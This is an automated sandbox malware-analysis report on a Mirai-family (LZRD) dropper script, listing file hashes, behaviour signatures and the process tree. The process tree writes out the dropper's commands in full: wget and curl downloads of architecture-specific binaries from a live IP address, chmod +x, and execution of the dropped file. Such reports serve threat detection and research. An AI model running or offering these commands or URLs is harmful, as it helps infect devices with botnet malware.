Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    13-01-2025 07:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    507f90eff6a55518aa1676f3143e05f7

  • SHA1

    743754532ab2a508ec40f929be7677af00028f96

  • SHA256

    2041eb52226fb9761127154efeaeac2d979cdab0acf2cbe6d85ae49f679d6afe

  • SHA512

    33b6bbe8a574ecf641282cdad54df167f589c519ab623570027ef16d96dcc9405b2882624b0c9a35db87b12f562c9bc9b344a367ed19fc53bd6d4e326df055c9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 41 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:716
    • /usr/bin/wget
      wget http://216.9.225.175/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:720
    • /usr/bin/curl
      curl -O http://216.9.225.175/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:736
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:743
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
        2⤵
        • File and Directory Permissions Modification
        PID:744
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:745
      • /usr/bin/wget
        wget http://216.9.225.175/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:747
      • /usr/bin/curl
        curl -O http://216.9.225.175/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:749
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:750
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:752
      • /usr/bin/wget
        wget http://216.9.225.175/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:754
      • /usr/bin/curl
        curl -O http://216.9.225.175/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:755
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:756
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:758
        • /usr/bin/wget
          wget http://216.9.225.175/hiddenbin/boatnet.i468
          2⤵
            PID:760
          • /usr/bin/curl
            curl -O http://216.9.225.175/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:765
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:772
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:774
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.i686
              2⤵
                PID:777
              • /usr/bin/curl
                curl -O http://216.9.225.175/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:783
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:793
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:794
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:795
                • /usr/bin/wget
                  wget http://216.9.225.175/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:797
                  • /usr/bin/curl
                    curl -O http://216.9.225.175/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:803
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:811
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:813
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:814
                    • /usr/bin/wget
                      wget http://216.9.225.175/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://216.9.225.175/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:821
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:822
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:823
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:824
                      • /usr/bin/wget
                        wget http://216.9.225.175/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:828
                      • /usr/bin/curl
                        curl -O http://216.9.225.175/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:829
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:830
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:831
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:832
                        • /usr/bin/wget
                          wget http://216.9.225.175/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:834
                        • /usr/bin/curl
                          curl -O http://216.9.225.175/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:839
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:850
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:852
                          • /usr/bin/wget
                            wget http://216.9.225.175/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:856
                          • /usr/bin/curl
                            curl -O http://216.9.225.175/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:863
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:872
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-47ef9f21a13244f6a9028ae507250241-systemd-timedated.service-MHfeEt WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:873
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:874
                            • /usr/bin/wget
                              wget http://216.9.225.175/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:876
                            • /usr/bin/curl
                              curl -O http://216.9.225.175/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:880
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:881
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:882
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:883
                              • /usr/bin/wget
                                wget http://216.9.225.175/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:885
                              • /usr/bin/curl
                                curl -O http://216.9.225.175/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:886
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:887
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:888
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:889
                                • /usr/bin/wget
                                  wget http://216.9.225.175/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:891
                                • /usr/bin/curl
                                  curl -O http://216.9.225.175/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:892
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:893
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:894
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:895
                                  • /usr/bin/wget
                                    wget http://216.9.225.175/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:897
                                  • /usr/bin/curl
                                    curl -O http://216.9.225.175/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:898
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:899
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:900
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:901
                                    • /usr/bin/wget
                                      wget http://216.9.225.175/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:903
                                    • /usr/bin/curl
                                      curl -O http://216.9.225.175/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:904
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:905
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:906
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:907

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      21KB

                                      MD5

                                      eb27ffa35ae33dc6cafa6a0aab739e07

                                      SHA1

                                      e85f03dd6f3850d98857ef1df900e05022723d91

                                      SHA256

                                      8724343245c1e43f3ea1d6e04f75259b4de07f96de3fe3d3d2afb28951c3c994

                                      SHA512

                                      574212fbdff518187ff22f721d96cebed694a1b78cac2c86907a6b62f6f46390c5cf54a37ba2725ef38155d40621d0d1b36da74560834d5aaa180f9ec221ed2a

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      3e2598db7eb7710dc93c7bb802807897

                                      SHA1

                                      fc2c132f48af7936af17fb98460d8d88b0338a27

                                      SHA256

                                      a70a6f13a9e37d0b4a025c2c7b15690c2bb3f5dffb2243d68ce66d9e3ec7e1a1

                                      SHA512

                                      b5349bc0cb8ce652b1b9c02e08fefc75875a624f3a347f7c050f54613fd8e5662e8e3f0f1dfcb94f02a9261939475d3c29c760d446e1a4e7af8bfc577aaf18b1

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      53KB

                                      MD5

                                      73034e22df67a48dd36182e2d761d4a8

                                      SHA1

                                      fe5e88b6b766da91a9c8899d6f7cd57b4dbddb71

                                      SHA256

                                      2670ae2b5caeb6f4a07f19aeb74e3e95f4392abba60a8e91cf9ba2f5ec50b653

                                      SHA512

                                      d4fe323678142abbb8d36eeb6053b0cee9a95dfdba1f33eec05ceec3b255e7e12773120f117887c3c4a08e40d14eb40e2e0d7f242d515d3936a3f77c6d4c903c

                                    • /tmp/boatnet.x86

                                      Filesize

                                      19KB

                                      MD5

                                      9fdbc0d52615f951689fdf0a992b1cc0

                                      SHA1

                                      a3886419c9b8d1d69f933d091f86cb55acfbc1bc

                                      SHA256

                                      2e6398da57aae86ced253d9411da2f41f9446ba35adcf2870cd4f219368f8212

                                      SHA512

                                      d06e8220cef72a182ee6b1af292c1954b3eca0f127e206ea47c902c813157a4429a1ab47e6caf5604a29e5e38124b274648d4fd31c1ed85ca933ccd1f9611e9e